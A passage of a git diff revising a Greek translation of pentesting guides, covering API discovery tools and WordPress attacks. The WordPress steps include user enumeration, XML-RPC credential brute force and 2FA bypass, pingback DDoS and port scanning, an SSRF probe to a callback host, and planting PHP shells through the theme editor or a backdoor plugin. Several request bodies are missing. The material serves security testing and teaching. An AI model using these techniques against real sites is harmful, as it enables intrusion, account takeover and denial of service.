μερικές καταστάσεις (σιωπηλή απώλεια δεδομένων, προβλήματα στα analytics). +- DoS via worker/DB starvation: Η επαναλαμβανόμενη ενεργοποίηση βαριών εργασιών μπορεί να εξαντλήσει worker pools και database connections, προκαλώντας tenant-wide outages. + +### **Εργαλεία και Πόροι για API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Εξαιρετικό για την ανακάλυψη API endpoints. Χρησιμοποιήστε το για να scan και brute force paths και parameters ενάντια σε target APIs. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): το sj είναι ένα εργαλείο γραμμής εντολών σχεδιασμένο να βοηθά στην επιθεώρηση των **εκτεθειμένων αρχείων ορισμού Swagger/OpenAPI** ελέγχοντας τα σχετικά API endpoints για αδύνατη αυθεντικοποίηση. Παρέχει επίσης πρότυπα εντολών για χειροκίνητη δοκιμή ευπαθειών. -- Πρόσθετα εργαλεία όπως το **automatic-api-attack-tool**, **Astra** και **restler-fuzzer** προσφέρουν προσαρμοσμένες λειτουργίες για τη δοκιμή ασφάλειας API, που κυμαίνονται από προσομοίωση επιθέσεων έως fuzzing και σάρωση ευπαθειών. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Είναι ένα εργαλείο ασφάλειας API που ελέγχει το API σας με βάση ένα αρχείο OAS (το εργαλείο είναι γραμμένο σε rust). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): Το sj είναι ένα εργαλείο command-line σχεδιασμένο να βοηθά στον έλεγχο (auditing) των **exposed Swagger/OpenAPI definition files** ελέγχοντας τα αντίστοιχα API endpoints για weak authentication. Παρέχει επίσης command templates για manual vulnerability testing. +- Επιπλέον εργαλεία όπως **automatic-api-attack-tool**, **Astra**, και **restler-fuzzer** προσφέρουν εξειδικευμένες λειτουργίες για API security testing, από attack simulation έως fuzzing και vulnerability scanning. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Είναι ένα API security tool που ελέγχει το API σας βάσει ενός OAS file (το εργαλείο είναι γραμμένο σε rust). ### **Πόροι Μάθησης και Πρακτικής** -- **OWASP API Security Top 10**: Βασική ανάγνωση για την κατανόηση κοινών ευπαθειών API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: Μια ολοκληρωμένη λίστα ελέγχου για την ασφάλιση των APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: Για την αναζήτηση ευπαθειών API, το Logger++ προσφέρει χρήσιμα φίλτρα ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: Μια επιμελημένη λίστα πιθανών API endpoints για δοκιμαστικούς σκοπούς ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Απαραίτητη ανάγνωση για την κατανόηση κοινών API vulnerabilities ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: Μια ολοκληρωμένη λίστα ελέγχου για την ασφάλεια των APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Για εντοπισμό API vulnerabilities, το Logger++ προσφέρει χρήσιμα φίλτρα ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Μια επιμελημένη λίστα πιθανών API endpoints για σκοπούς testing ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Αναφορές - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index b10f7aa05..b358724ae 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,45 +4,45 @@ ## Βασικές Πληροφορίες -- **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Τα αρχεία των Themes μπορούν να βρεθούν στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **έχετε πρόσβαση** στο αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** οπότε αν αλλάξετε κάποια php του theme για να πετύχετε RCE πιθανόν θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Άλλο χρήσιμο url θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- Στο **wp-config.php** μπορείτε να βρείτε τον root κωδικό της βάσης δεδομένων. -- Προεπιλεγμένες διαδρομές login προς έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Στο **wp-config.php** μπορείτε να βρείτε το root password της βάσης δεδομένων. +- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Κύρια αρχεία του WordPress** +### **Main WordPress Files** - `index.php` -- `license.txt` περιέχει χρήσιμες πληροφορίες όπως η έκδοση του WordPress που είναι εγκατεστημένη. +- `license.txt` περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη. - `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη δημιουργία ενός νέου WordPress site. -- Φάκελοι login (μπορεί να μετονομαστούν για να κρυφτούν): +- Φάκελοι login (μπορεί να έχουν μετονομαστεί για να κρυφτούν): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μέσο μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes. -- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται τυχόν αρχεία που ανεβάζονται στην πλατφόρμα. -- `wp-includes/` είναι ο κατάλογος όπου αποθηκεύονται αρχεία core, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets. -- `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και άνω, το WordPress παράγει ένα sitemap XML αρχείο με όλα τα δημόσια posts και τους τύπους περιεχομένου και ταξινομήσεις που είναι δημόσια ερωτήσιμες. +- `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που ανεβαίνουν στην πλατφόρμα. +- `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets. +- `wp-sitemap.xml` Σε εκδόσεις Wordpress 5.5 και μεγαλύτερες, το Worpress δημιουργεί ένα sitemap XML αρχείο με όλες τις δημόσιες δημοσιεύσεις και τα publicly queryable post types και taxonomies. -**Μετά την εκμετάλλευση** +**Post exploitation** -- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για τη σύνδεση με τη βάση δεδομένων, όπως το όνομα βάσης, το database host, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρυθμίσεων μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, που μπορεί να είναι χρήσιμο στην επίλυση προβλημάτων. +- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το database name, database host, username και password, authentication keys and salts, και το database table prefix. Αυτό το αρχείο ρυθμίσεων μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, που μπορεί να είναι χρήσιμο για troubleshooting. -### Δικαιώματα Χρηστών +### Users Permissions - **Administrator** -- **Editor**: Δημοσιεύει και διαχειρίζεται τις αναρτήσεις του και άλλων. -- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις. -- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει. -- **Subscriber**: Περιηγείται τις αναρτήσεις και επεξεργάζεται το προφίλ του. +- **Editor**: Publish και διαχειρίζεται τις δικές του και άλλων δημοσιεύσεις +- **Author**: Publish και διαχειρίζεται τις δικές του δημοσιεύσεις +- **Contributor**: Γράφει και διαχειρίζεται τις δημοσιεύσεις του αλλά δεν μπορεί να τις δημοσιεύσει +- **Subscriber**: Περιηγείται τις δημοσιεύσεις και επεξεργάζεται το προφίλ του -## **Παθητική Αναγνώριση** +## **Passive Enumeration** -### **Βρείτε την έκδοση του WordPress** +### **Get WordPress version** Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html` @@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Αρχεία συνδέσεων CSS +- Αρχεία σύνδεσης CSS ![](<../../images/image (533).png>) @@ -64,11 +64,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Λήψη πρόσθετων +### Λήψη προσθέτων ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Λήψη θεμάτων +### Λήψη Θεμάτων ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -77,39 +77,39 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Ενεργή αναγνώριση +## Ενεργή ανίχνευση ### Plugins and Themes -Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins and Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **κάνετε ενεργά Brute Force σε μια λίστα με Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες). +Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα Plugins και Themes που είναι διαθέσιμα. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **ενεργά κάνετε Brute Force σε μια λίστα με Plugins και Themes** (ελπίζοντας ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες). ### Χρήστες -- **ID Brute:** Αποκτάτε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing των users IDs: +- **ID Brute:** Παίρνετε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing στα user IDs: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Εάν οι αποκρίσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Εάν η απόκριση είναι **400**, τότε το id είναι **άκυρο**. +Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**. -- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να λάβετε πληροφορίες για τους χρήστες υποβάλλοντας ερώτημα: +- **wp-json:** Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες στέλνοντας αιτήματα: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει μερικές πληροφορίες για χρήστες είναι: +Ένα άλλο `/wp-json/` endpoint που μπορεί να αποκαλύψει μερικές πληροφορίες για χρήστες είναι: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μία δημοσίευση. **Μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη λειτουργία θα παρέχονται**. +Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει post. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη λειτουργία**. -Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να leak διευθύνσεις IP. +Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** μπορεί να leak διευθύνσεις IP. -- **Login username enumeration**: Κατά το login στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** και δείχνει εάν το **username** υπάρχει ή όχι. +- **Login username enumeration**: Όταν πραγματοποιείται είσοδος στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** ανάλογα με το αν το δηλωμένο **όνομα χρήστη** υπάρχει ή όχι. ### XML-RPC -If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) for example). +Αν το `xml-rpc.php` είναι ενεργό, μπορείτε να πραγματοποιήσετε credentials brute-force ή να το χρησιμοποιήσετε για να εκτελέσετε DoS επιθέσεις σε άλλους πόρους. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -To see if it is active try to access to _**/xmlrpc.php**_ and send this request: +Για να δείτε αν είναι ενεργό, προσπαθήστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα: **Έλεγχος** ```html @@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν μπορείτε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν: +`wp.getUserBlogs`, `wp.getCategories` ή `metaWeblog.getUsersBlogs` είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι όπως: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -Το μήνυμα _"Incorrect username or password"_ μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα credentials δεν είναι έγκυρα. +Το μήνυμα _"Incorrect username or password"_ μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανιστεί η διαδρομή ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανίζεται η διαδρομή ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -Επιπλέον υπάρχει ένας **πιο γρήγορος τρόπος** για να brute-force credentials χρησιμοποιώντας **`system.multicall`**, αφού μπορείτε να δοκιμάσετε πολλαπλά creds στο ίδιο request: +Επίσης υπάρχει ένας **γρηγορότερος τρόπος** για brute-force credentials χρησιμοποιώντας **`system.multicall`** καθώς μπορείς να δοκιμάσεις αρκετά credentials στο ίδιο request:
**Παράκαμψη 2FA** -Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, γι' αυτό δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται με 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να κάνετε login με αυτά τα creds παρακάμπτοντας 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί παρ' όλα αυτά να καταφέρετε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχεις valid creds αλλά η κύρια είσοδος προστατεύεται με 2FA, **μπορεί να καταφέρεις να εκμεταλλευτείς xmlrpc.php για να συνδεθείς με αυτά τα creds παρακάμπτοντας την 2FA**. Σημείωσε ότι δεν θα μπορείς να εκτελέσεις όλες τις ενέργειες που μπορείς μέσω του console, αλλά μπορείς ακόμα να φτάσεις σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS ή port scanning** -Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο request σε οποιονδήποτε host/port.\ -Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από **χιλιάδες** Wordpress **sites** να **access** μία **τοποθεσία** (οπότε προκαλείται **DDoS** σε εκείνη την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **scan** κάποιο εσωτερικό **network** (μπορείτε να υποδείξετε οποιαδήποτε port). +Αν βρεις τη μέθοδο _**pingback.ping**_ μέσα στη λίστα μπορείς να κάνεις το Wordpress να στείλει ένα αυθαίρετο request σε οποιοδήποτε host/port.\ +Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσεις από **χιλιάδες** Wordpress **sites** να **access** μία **location** (οπότε προκαλείται **DDoS** σε αυτή την τοποθεσία) ή μπορείς να το χρησιμοποιήσεις για να κάνεις το **Wordpress** να **scan** κάποιο εσωτερικό **network** (μπορείς να δηλώσεις όποιο port θέλεις). ```html pingback.ping @@ -191,9 +191,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Αν λάβεις το **faultCode** με τιμή **μεγαλύτερη** από **0** (17), αυτό σημαίνει ότι η θύρα είναι ανοιχτή. +Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), σημαίνει ότι η θύρα είναι ανοιχτή. -Ρίξε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθεις πώς να καταχραστείς αυτή τη μέθοδο ώστε να προκαλέσεις DDoS. +Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ### wp-cron.php DoS -Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του Wordpress site: **`/wp-cron.php`**\ -Όταν αυτό το αρχείο προσπελαύνεται εκτελείται ένα "**βαρύ**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει **DoS**.\ -Επίσης, εξ ορισμού, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητά οποιαδήποτε Wordpress σελίδα), κάτι που σε sites υψηλής επισκεψιμότητας μπορεί να προκαλέσει προβλήματα (DoS). +Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του ιστότοπου Wordpress: **`/wp-cron.php`**\ +Όταν αυτό το αρχείο **προσπελαύνεται** εκτελείται ένα "**βαρύ**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **προκαλέσει** ένα **DoS**.\ +Επιπλέον, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (οποτεδήποτε ένας client ζητά οποιαδήποτε σελίδα Wordpress), κάτι που σε ιστότοπους με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS). Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα). ### /wp-json/oembed/1.0/proxy - SSRF -Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και το Worpress site ενδέχεται να κάνει ένα αίτημα προς εσάς. +Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και ο Worpress site μπορεί να κάνει ένα αίτημα προς εσάς. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και η διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί. +Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και το path **/wp-json/oembed/1.0/proxy** και, αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί. ## Αυτόματα εργαλεία ```bash @@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Απόκτηση πρόσβασης επανεγγράφοντας ένα bit +## Απόκτηση πρόσβασης με την υπεργραφή ενός bit -Περισσότερο παρά μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να flip 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι μπορούσες να flip τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να NOP το NOT (`!`) operation. +Αυτό είναι περισσότερο περιέργεια παρά πραγματική επίθεση. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο wordpress. Έτσι μπορούσες να αναστρέψεις τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να κάνεις NOP την NOT (`!`) λειτουργία. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **Panel RCE** +## **Πίνακας RCE** -**Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια admin)** +**Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (admin credentials needed)** -Εμφάνιση → Επεξεργαστής Θέματος → 404 Template (στα δεξιά) +Εμφάνιση → Theme Editor → 404 Template (στη δεξιά πλευρά) Αλλάξτε το περιεχόμενο σε ένα php shell: ![](<../../images/image (384).png>) -Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Αναζητήστε στο διαδίκτυο πώς να αποκτήσετε πρόσβαση στην ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -263,14 +263,14 @@ return new WP_Error( ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -να αποκτήσετε session. +για να αποκτήσετε session. ## Plugin RCE ### PHP plugin -Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.\ -Δημιουργήστε το php backdoor σας χρησιμοποιώντας, για παράδειγμα: +Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.\ +Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα: ![](<../../images/image (183).png>) @@ -278,52 +278,52 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (722).png>) -Ανεβάστε το plugin και πατήστε Install Now: +Upload plugin and press Install Now: ![](<../../images/image (249).png>) -Κάντε κλικ στο Procced: +Click on Procced: ![](<../../images/image (70).png>) -Πιθανότατα αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο: +Πιθανώς αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο: ![](<../../images/image (462).png>) -Ανοίγοντάς το θα δείτε το URL για να εκτελέσετε το reverse shell: +Πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin γνωστού ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Αυτή η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής: +Αυτή η μέθοδος αφορά την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτηθεί ένα web shell. Αυτή η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής: -1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως το Exploit DB όπως [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως Exploit DB όπως [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. +- Πλοηγηθείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο `Dashboard > Plugins > Upload Plugin`. - Ανεβάστε το zip αρχείο του κατεβασμένου plugin. -3. **Plugin Activation**: Αφού το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard. +3. **Plugin Activation**: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard. 4. **Exploitation**: - Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο. - Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο. -- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους για να εκμεταλλευτείτε έναν WordPress ιστότοπο. +- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους εκμετάλλευσης ενός WordPress 